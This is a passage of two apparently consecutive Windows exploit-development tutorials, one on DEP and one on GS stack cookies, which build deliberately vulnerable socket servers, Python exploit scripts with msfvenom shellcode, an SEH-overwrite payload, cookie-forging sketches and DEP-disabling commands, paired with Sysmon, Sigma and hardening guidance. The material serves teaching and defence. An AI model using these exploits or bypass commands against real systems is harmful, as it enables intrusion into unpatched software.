The CPU consults bit 63 of the PTE on every instruction fetch – set means data-only, and any execute attempt raises a #PF that Windows surfaces as an access-violation exception with execute-violation code 8.

3. Windows DEP: Two Modes

Windows ships DEP in two flavours, and people conflate them constantly.

Hardware-enforced DEP is what we have been describing: the NX/XD PTE bit, enforced by the CPU, covering the stack, default heap, and every mapped region that is not explicitly marked with a PAGE_EXECUTE_* protection.

Software-enforced DEP does not use the NX bit at all. It is essentially SafeSEH – an integrity check on Structured Exception Handlers. When a process raises an exception, the software DEP path validates that the stored exception handler matches one that was registered when the binary was compiled. It exists for CPUs with no NX support and it protects against a different attack (SEH overwrite), not against running code on the stack.

Do not expect software DEP to stop shellcode on a data page. It cannot. Only the hardware bit does that. DEP arrived with Windows XP SP2 and Server 2003 SP1, and the hardware path is the one that matters for exploit development.


4. System-Wide DEP Policy

DEP is configured at boot from the Boot Configuration Data (BCD). There are four system-wide policies, and knowing which one your target runs tells you whether the vulnerable process is even protected.

ValueNameMeaning
0AlwaysOffDEP disabled OS-wide
1AlwaysOnDEP enabled for every process, no opt-out
2OptInDefault on Windows client; DEP on for OS/system binaries, off for other processes unless explicitly enabled
3OptOutDefault on Windows Server; DEP on for everything, admins can exclude specific executables

Set it in the lab with bcdedit:

bcdedit /set nx AlwaysOn      # or AlwaysOff / OptIn / OptOut
# reboot required for the change to take effect

Read the effective policy without a debugger via WMI:

(Get-WmiObject Win32_OperatingSystem).DataExecutionPrevention_SupportPolicy
# 0=AlwaysOff  1=AlwaysOn  2=OptIn  3=OptOut

Programmatically, a process calls GetSystemDEPPolicy(), which returns the same 0..3 enum. The client-versus-server default split (OptIn vs OptOut) is why a legacy 32-bit service can ship completely unprotected on a workstation while the same binary is covered on a server.


5. Per-Process DEP Control

Above the system policy sits a per-process layer. This is where an attacker who already runs code inside a 32-bit process has historically tried to just turn DEP off.

APIPurpose
SetProcessDEPPolicy(DWORD dwFlags)Override system policy for the current process. Flags: PROCESS_DEP_ENABLE (0x1), PROCESS_DEP_DISABLE_ATL_THUNK_EMULATION (0x2). 32-bit only; on 64-bit it fails with ERROR_NOT_SUPPORTED
GetProcessDEPPolicy(HANDLE, LPDWORD, PBOOL)Query a 32-bit process’s DEP and ATL-thunk settings. Needs PROCESS_QUERY_INFORMATION
GetSystemDEPPolicy()Return the system-wide DEP_SYSTEM_POLICY_TYPE value
SetProcessMitigationPolicy(ProcessDEPPolicy, ...)Modern setter using PROCESS_MITIGATION_DEP_POLICY
GetProcessMitigationPolicy(ProcessDEPPolicy, ...)Modern getter for the same struct

The modern struct is worth reading because the Permanent field is the one that ends the argument:

typedef struct _PROCESS_MITIGATION_DEP_POLICY {
    union {
        DWORD Flags;
        struct {
            DWORD Enable : 1;
            DWORD DisableAtlThunkEmulation : 1;
            DWORD ReservedFlags : 30;
        };
    };
    BOOLEAN Permanent;
} PROCESS_MITIGATION_DEP_POLICY;

Enable turns DEP on for the process. DisableAtlThunkEmulation stops the OS from silently emulating NX faults thrown by legacy ATL 7.1 thunks. Permanent, when TRUE, locks the setting for the life of the process.

That lock is the key defensive move. If the process was created with DEP specified through the PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY creation attribute, later calls to SetProcessDEPPolicy fail with ERROR_ACCESS_DENIED. An attacker cannot simply call the “disable DEP” API from inside a hardened process, because the policy was frozen at CreateProcess time. Any internally developed software should be created this way.


6. Memory Protection Constants

Every page in a process carries a protection constant from winnt.h. Only four of them permit execution.

ConstantValueExecutable?
PAGE_EXECUTE0x10Yes (execute only)
PAGE_EXECUTE_READ0x20Yes (execute + read)
PAGE_EXECUTE_READWRITE0x40Yes (RWX)
PAGE_EXECUTE_WRITECOPY0x80Yes (execute + write-copy)
PAGE_READONLY0x02No
PAGE_READWRITE0x04No

Stack frames and HeapAlloc / malloc allocations are PAGE_READWRITE by default. That is precisely the memory your shellcode lands in, which is precisely why it will not run. The ideal a defender wants is W^X (write XOR execute): a page is either writable or executable, never both.

Two APIs mint or flip executable pages, and both become the target of a DEP bypass:

LPVOID VirtualAlloc(
    LPVOID lpAddress,        // desired address or NULL
    SIZE_T dwSize,
    DWORD  flAllocationType, // MEM_COMMIT | MEM_RESERVE
    DWORD  flProtect);       // e.g. PAGE_EXECUTE_READWRITE (0x40)

BOOL VirtualProtect(
    LPVOID lpAddress,        // base of region to change
    SIZE_T dwSize,           // size in bytes
    DWORD  flNewProtect,     // new protection, e.g. 0x40
    PDWORD lpflOldProtect);  // receives old protection

VirtualProtect can flip the stack page holding your shellcode from PAGE_READWRITE to PAGE_EXECUTE_READWRITE, clearing the NX bit. VirtualAlloc can carve out a fresh RWX region to copy shellcode into. Hold that thought; it is the whole bypass in one sentence.


Illustration of the W-XOR-X principle: writable memory and executable memory separated by a locked boundary, symbolising that a page cannot be both writable and executable simultaneously
The W^X principle enforced by DEP: a page tagged PAGE_READWRITE cannot be executed, and the attacker’s shellcode – always written into a writable region – is permanently on the wrong side of that boundary.

7. Lab Demo: DEP in Action

The Vulnerable Target

Here is a deliberately vulnerable TCP server. It reads up to 1024 bytes into a 256-byte stack buffer. Classic stack smash.

// vuln_server.c - GenXCyber lab target, intentionally vulnerable
// Compile: cl /GS- /NXCOMPAT:NO /DYNAMICBASE:NO /MT vuln_server.c ws2_32.lib
#include <winsock2.h>
#include <stdio.h>
#pragma comment(lib,"ws2_32.lib")

void handle_client(SOCKET s) {
    char buf[256];                          // fixed 256-byte buffer
    int received = recv(s, buf, 1024, 0);   // overread -> stack overflow
    printf("[*] Received %d bytes\n", received);
    send(s, "OK\n", 3, 0);
}

int main(void) {
    WSADATA wsa; WSAStartup(MAKEWORD(2,2), &wsa);
    SOCKET srv = socket(AF_INET, SOCK_STREAM, 0);
    struct sockaddr_in addr = {AF_INET, htons(9999), {INADDR_ANY}};
    bind(srv, (struct sockaddr*)&addr, sizeof addr);
    listen(srv, 1);
    printf("[*] Listening on 9999\n");
    while (1) { SOCKET c = accept(srv, 0, 0); handle_client(c); closesocket(c); }
}

The compiler flags matter. /GS- kills the stack cookie so the overflow is clean. /DYNAMICBASE:NO disables ASLR so gadget addresses are deterministic. /NXCOMPAT:NO clears the IMAGE_DLLCHARACTERISTICS_NX_COMPAT bit in the PE Optional Header, which on a 32-bit image tells the loader to opt this process out of DEP.

That word “32-bit” is a real gotcha. The first time I ran this, I built it x64 out of habit, set /NXCOMPAT:NO, and the process still faulted on the stack every single time. /NXCOMPAT:NO is meaningless on 64-bit Windows: DEP is always enforced for 64-bit processes regardless of the PE flag. Build the target as x86 from the “x86 Native Tools” prompt, or you will chase a ghost for an hour.

Step 1: Recon the DEP State

Before writing a byte of exploit, confirm what you are up against.

# System policy
(Get-WmiObject Win32_OperatingSystem).DataExecutionPrevention_SupportPolicy

# Is the PE opted out of DEP?
dumpbin /headers vuln_server.exe | findstr /i nxcompat
# with /NXCOMPAT:NO the "NX compatible" flag is absent

Attach WinDbg to the running process and inspect the stack page protection:

!process 0 0 vuln_server.exe
.process /p <EPROCESS>
!vprot esp
!peb

!vprot esp prints the protection on the stack page. Note that it is PAGE_READWRITE. That single line is the reason your shellcode will not run.

Step 2: Find the Offset to EIP

Send a cyclic pattern, crash the server, read the value that landed in EIP, and compute the offset.

from pwn import *

pattern = cyclic(600)
s = remote('192.168.56.101', 9999)
s.send(pattern)
s.close()

WinDbg catches the crash and shows the faulting eip, say 0x61616d61. Reverse it:

python3 -c "from pwn import *; print(cyclic_find(0x61616d61))"
# -> 276 (example value for this build)

If you prefer Immunity plus Mona on the target:

!mona pc 600
!mona findmsp

Step 3: Confirm EIP Control, Then Watch DEP Kill the Shellcode

Generate shellcode, prepend the offset, overwrite EIP with a JMP ESP from a non-ASLR module, and drop a NOP sled plus shellcode on the stack.

# Generate calc-popping shellcode, null-byte-free
msfvenom -p windows/exec CMD=calc.exe -f python -b '\x00' -v shellcode
# classic_shellcode_test.py - this WILL be blocked by DEP
from pwn import *

OFFSET  = 276
JMP_ESP = 0x625011af      # a "jmp esp" in a loaded, non-ASLR module

# paste the msfvenom output here:
shellcode = b"\xdb\xc0..."   # windows/exec CMD=calc.exe, no null bytes

payload  = b"A" * OFFSET
payload += p32(JMP_ESP)      # overwrite saved return address
payload += b"\x90" * 16      # NOP sled
payload += shellcode

s = remote('192.168.56.101', 9999)
s.send(payload)
s.close()

With DEP enforced on the process, calc.exe never appears. WinDbg shows the CPU reaching your JMP ESP cleanly, jumping to the stack, and dying the instant it tries to execute the first NOP:

(1a2c.14b0): Access violation - code c0000005 (!!! second chance !!!)
eip=0012f9e4
0:000> !vprot esp
BaseAddress:       0012f000
AllocationBase:    00030000
RegionSize:        00010000
State:             00001000  MEM_COMMIT
Protect:           00000004  PAGE_READWRITE     <-- not executable, DEP fires

Protect: PAGE_READWRITE on the page holding eip. That is DEP working exactly as designed. The redirection succeeded; the execution did not.

Step 4: What Would Actually Be Needed

Now show yourself the target of the bypass. The functions that can make the stack executable already live in executable pages, and without ASLR their addresses are fixed.

!dh -f vuln_server.exe          ; inspect the import table
x kernel32!VirtualProtect       ; note the fixed address

Any working DEP bypass has to do four things with borrowed code:

  1. Pivot ESP onto attacker-controlled data (a stack pivot gadget).
  2. Stage the arguments for VirtualProtect(lpAddress, dwSize, PAGE_EXECUTE_READWRITE, lpOldProtect) using POP reg; RETN gadgets.
  3. Transfer control into kernel32!VirtualProtect.
  4. Return into the now-executable shellcode sitting in place.

Not one byte of injected code executes as data. Every instruction that runs before the final RETN already existed in a legitimate, executable module. That is Return Oriented Programming, and the full chain (gadget hunting with !mona rop and ROPgadget, the PUSHAD argument trick, the pivot) is the deliverable of the next tutorial. For now the point is made: DEP does not stop control-flow hijacking, it forces the attacker to build their payload out of existing code.


Flow diagram tracing the classic stack-overflow exploit attempt: payload sent, EIP overwritten, JMP ESP executes from a legitimate code page, then the CPU tries to fetch from the PAGE_READWRITE stack, the NX bit fires a page fault, and the process dies before any shellcode runs
DEP intercepts at the last step: control-flow hijack succeeds, but the CPU refuses to fetch instructions from the writable stack page, killing the process instead of running the shellcode.

8. Common Attacker Techniques

TechniqueDescription
ROP via VirtualProtectChain existing gadgets to flip the shellcode page to PAGE_EXECUTE_READWRITE, then return into it
ROP via VirtualAllocAllocate a fresh RWX region, copy shellcode in, jump to it
SetProcessDEPPolicy(0) abuseFrom inside a 32-bit process, attempt to disable DEP; blocked if Permanent was set at creation
NtSetInformationProcess class ProcessExecuteFlags (0x22)Undocumented in-process DEP disable; blocked on 64-bit and on Permanent-DEP processes
bcdedit /set nx AlwaysOffSystem-wide DEP disable, needs admin and a reboot
Per-app AppCompat opt-outRegistry Layers entries (DisableNXShowUI) to exclude a target binary from DEP

The API abuse routes are mostly historical curiosities today. SetProcessDEPPolicy and NtSetInformationProcess(0x22) both fail on 64-bit and on any process created with permanent DEP, which is nearly everything modern. In practice the real DEP bypass in 2024 is ROP, full stop.


Illustration showing a picked lock revealing a second sealed vault door behind it, symbolising that bypassing DEP with ROP still faces additional mitigations like ASLR and CFG
Defeating DEP via ROP is picking the first lock – the attacker must chain existing executable gadgets rather than injecting new code, and ASLR plus CFG represent the hardened vault door waiting behind it.

9. Defensive Strategies & Detection

Sysmon and Process Auditing

Event IDEventRelevance
Sysmon EID 1Process CreateCatch bcdedit.exe /set nx ... command lines (DEP tamper)
Sysmon EID 8CreateRemoteThreadInjection following a successful bypass
Sysmon EID 10ProcessAccessOpenProcess with PROCESS_VM_WRITE + PROCESS_VM_OPERATION, precursor to VirtualProtectEx / WriteProcessMemory
Sysmon EID 12/13Registry Create/SetHKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers per-app DEP opt-out

Enable command-line logging so bcdedit invocations carry their arguments: security event 4688 with the GPO Administrative Templates > System > Audit Process Creation > Include command line in process creation events, or:

auditpol /set /subcategory:"Process Creation" /success:enable /failure:enable

ETW

  • Microsoft-Windows-Security-Mitigations (GUID {FAE10392-F0AF-4AC0-B8FF-9F4D920C3CDF}) emits events when mitigation policies including DEP trigger or change.
  • Microsoft-Windows-Kernel-Memory surfaces low-level page-fault telemetry where NX faults appear.

Sigma

title: BCDEdit DEP Policy Modification
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: '\bcdedit.exe'
        CommandLine|contains|all:
            - 'nx'
            - 'alwaysoff'
    condition: selection
fields:
    - Image
    - CommandLine
    - ParentImage
    - User
level: high

For EDRs with API-level telemetry, the strongest signal is a call to VirtualProtect / VirtualProtectEx requesting an executable protection where the calling return address is not backed by any mapped image:

selection:
    event_type: api_call
    api_name:
        - VirtualProtect
        - VirtualProtectEx
    new_protect:
        - 0x40    # PAGE_EXECUTE_READWRITE
        - 0x20    # PAGE_EXECUTE_READ
        - 0x10    # PAGE_EXECUTE
    caller_module: UNKNOWN   # caller not in a mapped image -> ROP/shellcode
condition: selection

Hardening

  1. Set DEP to AlwaysOn: bcdedit /set nx AlwaysOn, verify DataExecutionPrevention_SupportPolicy == 1.
  2. Create your own software with UpdateProcThreadAttribute using PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY and PROCESS_CREATION_MITIGATION_POLICY_DEP_ENABLE, so DEP is Permanent and cannot be disabled in-process.
  3. Enable ASLR alongside DEP. This is the one that matters most: ASLR randomizes module base addresses, which is what makes the gadget-hunting phase of a ROP chain unreliable. DEP without ASLR is a speed bump; DEP plus ASLR plus CFG is a wall.
  4. Enforce DEP + ASLR + Control Flow Guard through Windows Defender Exploit Guard / Exploit Protection, per program or via GPO.
  5. Audit the AppCompat Layers key for DisableNXShowUI / DisableNXHideUI opt-outs and remove them.
  6. Monitor for NtSetInformationProcess with class 0x22 (ProcessExecuteFlags) via user-mode API monitoring.

10. Tools for DEP Analysis

ToolDescriptionLink
WinDbg + !vprotConfirm page protection at the crash; read PEB DEP statelearn.microsoft.com
dumpbin /headersCheck the IMAGE_DLLCHARACTERISTICS_NX_COMPAT PE flaglearn.microsoft.com
Immunity Debugger + mona.py!mona pc, !mona findmsp, !mona noaslr, !mona ropcorelan.be
pwntools (cyclic, cyclic_find)Pattern generation and offset findingpwntools.com
msfvenomGenerate null-free PoC shellcodemetasploit.com
bcdeditConfigure and read system DEP policylearn.microsoft.com
Process HackerPer-process DEP status columnprocesshacker.sourceforge.io

MITRE ATT&CK Mapping

DEP bypass is a pre-exploitation primitive, not an ATT&CK technique in its own right. The relevant IDs describe what it enables and how the tampering is detected.

TechniqueMITRE IDDetection
Exploitation for Client ExecutionT1203The shellcode injection DEP blocks; crash telemetry, exploit-guard events
Process InjectionT1055Post-bypass RWX allocation + shellcode write; Sysmon EID 8/10
Process Injection: DLL InjectionT1055.001VirtualAllocEx + WriteProcessMemory; API monitoring
Impair Defenses: Disable or Modify ToolsT1562.001bcdedit /set nx, SetProcessDEPPolicy, NtSetInformationProcess; EID 1 / 4688
Native APIT1106Direct VirtualProtect / VirtualAlloc / NtSetInformationProcess calls

Summary

  • DEP marks data pages non-executable at the hardware level (NX/XD, PTE bit 63), so injected shellcode on the stack or heap faults with 0xC0000005 instead of running.
  • Hardware DEP is the real protection; software DEP (SafeSEH) only guards SEH overwrites and never stops code on data pages.
  • Policy is layered: system-wide via bcdedit /set nx (AlwaysOn/Off/OptIn/OptOut) and per-process via SetProcessDEPPolicy / PROCESS_MITIGATION_DEP_POLICY, with Permanent DEP locked at process creation being the strongest control.
  • DEP stops execution, not control-flow hijack. The attacker still owns EIP and pivots to ROP, chaining existing gadgets to call VirtualProtect / VirtualAlloc and re-enable execution without injecting a single executable byte.
  • DEP and ASLR are complementary: ASLR randomizes the module bases that ROP depends on, so pair them (plus CFG) and detect tamper via Sysmon EID 1/10, the Security-Mitigations ETW provider, and command-line auditing of bcdedit.

The next tutorial builds the full working ROP chain against this exact target: gadget discovery, the stack pivot, the PUSHAD trick, and a live VirtualProtect call that turns this dead crash into a shell.


Related Tutorials

References

Stack Canaries and GS Cookies: How They Work and When They Fail

You have a clean stack overflow in an MSVC-compiled service. EIP should be yours. It isn’t, because eight bytes above your buffer sit a value you never wrote and cannot predict, and the moment the function tries to return, that value gets XOR-checked against a global. Miss it and the process fast-fails before your saved return address is even loaded. That value is the GS cookie, and knowing exactly where it lives, when it is validated, and when the validation never runs is the difference between a crash report and a shell.

Objective: Understand the internals of the MSVC /GS stack cookie and the GCC stack canary – how the value is generated, placed, and checked – then reproduce three practical bypass classes against a self-built vulnerable Windows service, and pair each with the defender telemetry that catches it.


1. Stack Overflows and the Canary Concept

A stack buffer overflow is linear. strcpy, recv-into-fixed-buffer, sprintf: they write from low addresses upward, past the buffer, over saved registers, over the saved return address. Classic exploitation overwrites that return address and redirects execution on function exit.

The canary defense is old and simple. StackGuard (1998) put a known sentinel value between the local buffers and the saved return address. Any linear overflow that reaches the return address must first trample the sentinel. The epilogue checks the sentinel against a reference copy; mismatch means corruption, and the program aborts before the poisoned return address is ever used. GCC shipped this as -fstack-protector; Microsoft shipped /GS in Visual Studio 2003 and made it default in VS 2005. VS 2010 replaced the original with GS++, widening coverage from “char/wchar arrays of 8+ elements” to any array and any struct.

The concept is sound. The failures are all in the details: which functions get a cookie, when the check actually executes, and whether the attacker can read or reconstruct the value.


2. Linux Canaries: -fstack-protector Internals

Start on Linux because the mechanism is easy to read in gdb. Build a target:

// canary_demo.c  ->  gcc -m64 -fstack-protector-all -g canary_demo.c -o canary_demo
#include <stdio.h>
#include <string.h>

void vuln(char *in) {
    char buf[64];
    strcpy(buf, in);          // linear overflow
    puts(buf);
}

int main(int argc, char **argv) {
    if (argc > 1) vuln(argv[1]);
    return 0;
}

Disassemble the prologue and epilogue in pwndbg:

pwndbg> disassemble vuln
   mov    rax, qword ptr fs:[0x28]      ; load canary from TLS
       mov    qword ptr [rbp-0x8], rax      ; store cookie at [rbp-0x8], just below saved rbp
   ...
   mov    rax, qword ptr [rbp-0x8]      ; reload stack copy
   xor    rax, qword ptr fs:[0x28]      ; compare against TLS master
   je     ret_ok
   call   __stack_chk_fail              ; mismatch -> abort

On x64 Linux the master canary lives in thread-local storage at fs:[0x28] (__stack_chk_guard). It is a terminator canary: the low byte is 0x00, so a string-copy overflow cannot cleanly write past it with printable data. GCC does not XOR the canary with the frame pointer; it copies the TLS value onto the stack and compares directly. If it fails, __stack_chk_fail prints *** stack smashing detected *** and calls abort().

Inspect the live value:

pwndbg> b vuln
pwndbg> run AAAA
pwndbg> canary
AT_RANDOM = 0x7fffffffe... -> canary = 0x8f3a2b1c9d5e4700

Two takeaways carry to Windows. First, the canary sits between the buffer and the return address, so you cannot skip it with a linear write. Second, its entropy comes from the loader, so a plain overflow cannot guess it. Everything after this is about breaking one of those two assumptions.


3. Windows GS Cookies: Compiler and Loader Mechanics

Windows adds two wrinkles GCC does not: the cookie is XOR-masked with a register, and dedicated exception handlers can validate it even when a function throws. The identifiers you will meet:

IdentifierWhat it does
__security_cookiePer-image global (uintptr_t) in .data, the master reference cookie for every GS function in the module.
__security_init_cookieFirst action of the EXE/DLL entry point; seeds the image cookie with high entropy if the loader has not.
__security_check_cookieValidates the on-stack cookie against the global; branches to __report_gsfailure on mismatch.
__report_gsfailureWindows 8+ terminates via __fastfail (STATUS_STACK_BUFFER_OVERRUN, 0xC0000409); older systems call UnhandledExceptionFilter.
__GSHandlerCheckUnwind-time handler that emulates the epilogue cookie check when a function faults, using UNWIND_INFO.ExceptionData.
__GSHandlerCheck_SEH / _EHSame, but also chain to __C_specific_handler / __CxxFrameHandler3 for functions with both a cookie and an exception handler.

The cookie is not stored raw on the stack. The prologue XORs it with the frame pointer so that two frames never hold the same on-stack value:

; x64 prologue (frame-pointer form)
mov     rax, qword [__security_cookie]
xor     rax, rbp                     ; x86 uses EBP; frame-pointer-less x64 uses RSP
mov     qword [rbp-8], rax           ; masked cookie on stack

; epilogue
mov     rcx, qword [rbp-8]
xor     rcx, rbp
call    __security_check_cookie      ; compares rcx to global, else __report_gsfailure

On x86 the mask is EBP; on x64 it is RBP when the function keeps a frame pointer and RSP otherwise (the kernel KeBugCheckEx path uses bugcheck 0xF7). The masking matters for exploitation: to forge a valid on-stack cookie you need both the global value and the frame/stack pointer at that instant.

The compiler also reorders locals. GS buffers (arrays, structs) are hoisted to the highest addresses in the frame, and sensitive arguments are shadow-copied below the locals. An overflow of a buffer therefore reaches the cookie and return address before it reaches other scalars, and it cannot corrupt the copied arguments. That reordering is exactly what the next section shows the compiler failing to do.


Stack frame diagram showing buffer at low address, GS cookie above it, then saved RBP and return address at top, illustrating how a linear overflow must cross the cookie before reaching the return address.
The compiler hoists GS buffers to the top of the locals region so any linear overflow tramples the masked cookie before reaching the saved return address.

4. When /GS Does Not Protect a Function

/GS is not applied to every function, and even when applied it does not always help. The gaps:

ConditionResult
Function has no GS buffer (no array/struct local)No cookie inserted at all.
Compiled with /GS-, or marked __declspec(safebuffers)Cookie suppressed for that translation unit / function.
Zero-reference-count array (accessed only by index)MSVC’s internal ref-count bug excludes it from safe ordering and cookie insertion.
Struct with an array followed by other membersStruct field order is fixed by the language, so trailing members cannot be reordered out of harm’s way.
Third-party DLL built without /GS or /SAFESEHProvides unprotected functions and pop/pop/ret gadgets.
Exception raised before the epilogue runsThe cookie is never checked (unless a __GSHandler* guards the frame).

The last two rows are the practical attack surface. A struct that declares char buf[512] followed by a pointer keeps that pointer directly above the array in memory, unreorderable. Overflow the array, clobber the pointer, and you get an attacker-influenced fault. And a fault means the SEH dispatcher runs before the return path, which is the seam we drive a wedge into next.


5. Building the Lab Target

Here is a minimal, intentionally vulnerable Windows service. It is compiled with /GS on purpose. The bug is a struct overflow that both smashes an SEH record and produces a controlled access violation before the function returns.

// vuln_gs_server.c
// Build from an x86 Native Tools prompt:
//   cl /GS /Zi vuln_gs_server.c /link /SAFESEH:NO /DYNAMICBASE:NO /NXCOMPAT:NO ws2_32.lib
#define WIN32_LEAN_AND_MEAN
#include <winsock2.h>
#include <windows.h>
#include <excpt.h>   // structured exception handling (__try/__except) support
#include <string.h>
#pragma comment(lib, "ws2_32.lib")

typedef struct _REQ {
    char  buf[512];   // GS buffer: array inside a struct
    char *sink;       // trailing member: cannot be reordered above the array
} REQ;

static void handle_client(SOCKET c) {
    REQ  r;
    char netbuf[4096];
    int  n;

    r.sink = r.buf;                       // starts valid

    n = recv(c, netbuf, sizeof(netbuf) - 1, 0);
    if (n <= 0) return;
    netbuf[n] = '\0';

    #ifdef _MSC_VER
    __try {
        strcpy(r.buf, netbuf);            // linear overflow of r.buf
        *r.sink = 'X';                    // deref clobbered pointer -> AV -> SEH
    } __except (EXCEPTION_EXECUTE_HANDLER) {
        /* swallowed */
    }
#else
    strcpy(r.buf, netbuf);                // linear overflow of r.buf
    *r.sink = 'X';                        // deref clobbered pointer -> AV
#endif
}

int main(void) {
    WSADATA wsa; SOCKET srv, cli; struct sockaddr_in sa;
    WSAStartup(MAKEWORD(2, 2), &wsa);
    srv = socket(AF_INET, SOCK_STREAM, 0);
    memset(&sa, 0, sizeof(sa));
    sa.sin_family = AF_INET;
    sa.sin_port   = htons(9999);
    sa.sin_addr.s_addr = INADDR_ANY;
    bind(srv, (struct sockaddr *)&sa, sizeof(sa));
    listen(srv, 1);
    for (;;) { cli = accept(srv, NULL, NULL); handle_client(cli); closesocket(cli); }
    return 0;
}

The linker flags are deliberate lab simplifications: /SAFESEH:NO leaves the module’s handlers unvalidated, /DYNAMICBASE:NO fixes the image base so gadget addresses are stable, and /NXCOMPAT:NO lets stack shellcode execute so we focus on the cookie, not on DEP. Under DEP you would swap the shellcode for a VirtualProtect ROP stub; that is a separate lesson.

Also build a /GS- copy for side-by-side disassembly:

cl /GS- /Zi vuln_gs_nogs.c /link /SAFESEH:NO /DYNAMICBASE:NO /NXCOMPAT:NO ws2_32.lib

6. Bypass Path 1 – SEH Overwrite Before the Check

The plan: overflow reaches the on-stack EXCEPTION_REGISTRATION_RECORD (its Next and Handler fields), then *r.sink = 'X' faults through the clobbered pointer. The exception dispatcher walks the SEH chain and calls our overwritten handler, all before handle_client reaches its epilogue. The cookie check never runs.

Recon and binary analysis

dumpbin /loadconfig vuln_gs_server.exe     :: SecurityCookie field confirms /GS
winchecksec vuln_gs_server.exe             :: GS=true SafeSEH=false ASLR=false DEP=false

In WinDbg, confirm the master cookie and the unwind handler:

0:000> dd vuln_gs_server!__security_cookie L1
0:000> !dh vuln_gs_server -f            ; inspect LOAD_CONFIG / SEHandlerCount == 0

SEHandlerCount == 0 in the load config means no SafeSEH table: any address is an accepted handler. That is our gadget freedom.

Trigger and crash confirmation

# fuzz.py
import socket
s = socket.socket(); s.connect(('127.0.0.1', 9999))
s.send(b'A' * 2000); s.close()

Attach WinDbg. You get an access violation writing to 0x41414141 (the clobbered sink). Look at the SEH chain:

0:000> !exchain
0012f8b0: 41414141
Invalid exception stack at 41414141

The Handler field is already 0x41414141. The fault fired inside the __try, and the dispatcher is about to hand control to a pointer we own. The cookie is still intact on the stack and completely irrelevant, because the epilogue is never reached.

Defender view: At this stage there is no 0xC0000409 fast-fail, because the GS check never runs. A defender watching WER sees only the swallowed access violation (or nothing, since it is caught). The reliable signal comes later, when Sysmon Event ID 1 records vuln_gs_server.exe as the parent of an unexpected process.

Offset discovery

!mona pattern_create 2000

Send the cyclic pattern, read the nSEH and Handler values from !exchain, then:

!mona pattern_offset <nseh_value>       ; e.g. 528
!mona pattern_offset <handler_value>    ; e.g. 532

Gadget selection

We need a pop / pop / ret in a non-SafeSEH, non-ASLR module. The EXE itself qualifies:

!mona seh -n

Pick a pop r32; pop r32; ret address with no bad characters (no 0x00, and none of the WinSock delimiters). Call it 0x00401233.

Payload construction

# exploit_gs_seh.py
import socket, struct

nseh_offset = 528                       # from mona
ppr         = struct.pack('<I', 0x00401233)   # pop/pop/ret in EXE (non-SafeSEH)

# msfvenom -p windows/exec CMD=calc.exe EXITFUNC=seh -b '\x00' -f python
shellcode  = b'\x90' * 16
shellcode += b''  # <-- paste msfvenom buf here

buf  = b'A' * nseh_offset                # filler; also clobbers r.sink -> AV
buf += b'\xeb\x06\x90\x90'               # nSEH: short jmp +6 over the handler dword
buf += ppr                               # SEH handler: pop/pop/ret
buf += shellcode                         # lands here after the short jump
buf += b'C' * (2000 - nseh_offset - 8 - len(shellcode))

s = socket.socket(); s.connect(('127.0.0.1', 9999))
s.send(buf); s.close()

EXITFUNC=seh matters: the payload runs from inside exception dispatch, so it must return cleanly through the SEH path rather than call ExitProcess. The \xeb\x06 short jump skips the 4-byte handler pointer and the two remaining nSEH pad bytes, landing in the NOP pad before the shellcode.

Verify

Break on the gadget, then single-step:

0:000> bp 0x00401233
0:000> g

pop pop ret pivots EIP into the nSEH bytes, the short jump carries you into the NOP sled, and calc.exe pops. Note in the debugger that __security_check_cookie was never entered.

Defender view: Sysmon Event ID 1 fires with ParentImage=vuln_gs_server.exe and Image=calc.exe, and Audit 4688 captures the CMD=calc.exe command line. A listener process parenting an interactive binary is the anomaly a Sigma rule should alert on. Cost me an hour the first time I built one of these: I forgot EXITFUNC=seh and the payload corrupted the very SEH frame it was standing on, so calc flickered and the process died mid-spawn.


Flow diagram tracing the SEH overwrite bypass: buffer overflow corrupts r.sink, a deliberate fault triggers exception dispatch, a pop-pop-ret gadget pivots to shellcode, and the GS cookie epilogue check is never reached.
Faulting inside the __try block hands control to the SEH dispatcher before handle_client’s epilogue runs, rendering the GS cookie irrelevant.

7. Bypass Path 2 – Info-Leak and Cookie Reconstruction

When you cannot avoid the epilogue, defeat the check by supplying the right value. The cookie is __security_cookie XOR frame_pointer, so you need two leaks:

  1. Read __security_cookie from the module’s .data section via an out-of-bounds read primitive (a format-string leak or an OOB recv echo in the lab build).
  2. Leak a stack address at the moment of the overflow to recover the frame pointer used as the XOR mask.
# reconstruction sketch (lab pseudo-primitives)
leaked_cookie = read_data(module_base + SECURITY_COOKIE_RVA)   # OOB read
frame_ptr     = leak_stack_pointer()                           # stack info-leak
onstack_value = leaked_cookie ^ frame_ptr

payload  = b'A' * canary_offset
payload += struct.pack('<I', onstack_value)   # forged, valid cookie
payload += b'B' * saved_ebp_len
payload += struct.pack('<I', ret_addr)        # normal EIP hijack

Step it in WinDbg: __security_check_cookie now passes, the epilogue loads your return address, and EIP is yours. ASLR does not stop this once you have the read primitive, because the leak resolves both the .data base and the live stack. No leak, no reconstruction: this is why info-leak bugs are prized.

Defender view: Because the forged cookie passes __security_check_cookie, WER stays silent – there is no 0xC0000409 to log. Detection shifts to the Microsoft-Windows-Security-Mitigations ETW provider and to Sysmon Events 1/3 catching the post-exploitation process and C2 connection.


8. Bypass Path 3 – Arbitrary Write to the .data Cookie

If you hold a 4-byte arbitrary write, you can rewrite the referee. The .data section is writable, so overwrite __security_cookie with a value you choose, then place that same value on the stack in your overflow. The epilogue compares your stack value against your global value: they match.

0:000> ? vuln_gs_server!__security_cookie
0:000> ed vuln_gs_server!__security_cookie 0x41414141   ; arbitrary write target

Then the overflow writes 0x41414141 (XOR-masked with the frame pointer, which you must account for) at the canary slot. The check passes and the return address flows. This is the cleanest illustration that a stack cookie is only as trustworthy as the writability of its reference copy. In the HEVD kernel StackOverflowGS variant, the same idea is driven by a kernel arbitrary-read to recover the cookie rather than a write, because .data there is not freely writable.


Conceptual illustration of an attacker forging the reference cookie in the .data section to match the on-stack value, defeating the epilogue comparison.
Overwriting __security_cookie in the writable .data section with a known value lets an attacker place the same value on the stack, making the epilogue check pass silently.

9. Common Attacker Techniques

TechniqueDescription
SEH overwriteClobber the exception registration record and fault before the epilogue so the cookie is never checked.
Info-leak + reconstructionRead __security_cookie and a stack pointer, forge the masked on-stack value.
.data cookie overwriteUse an arbitrary write to change the reference cookie itself.
Struct-internal overflowOverflow an array inside a struct to smash a trailing member the compiler cannot reorder.
Zero-reference-count arraysTarget index-only arrays MSVC excludes from cookie insertion.
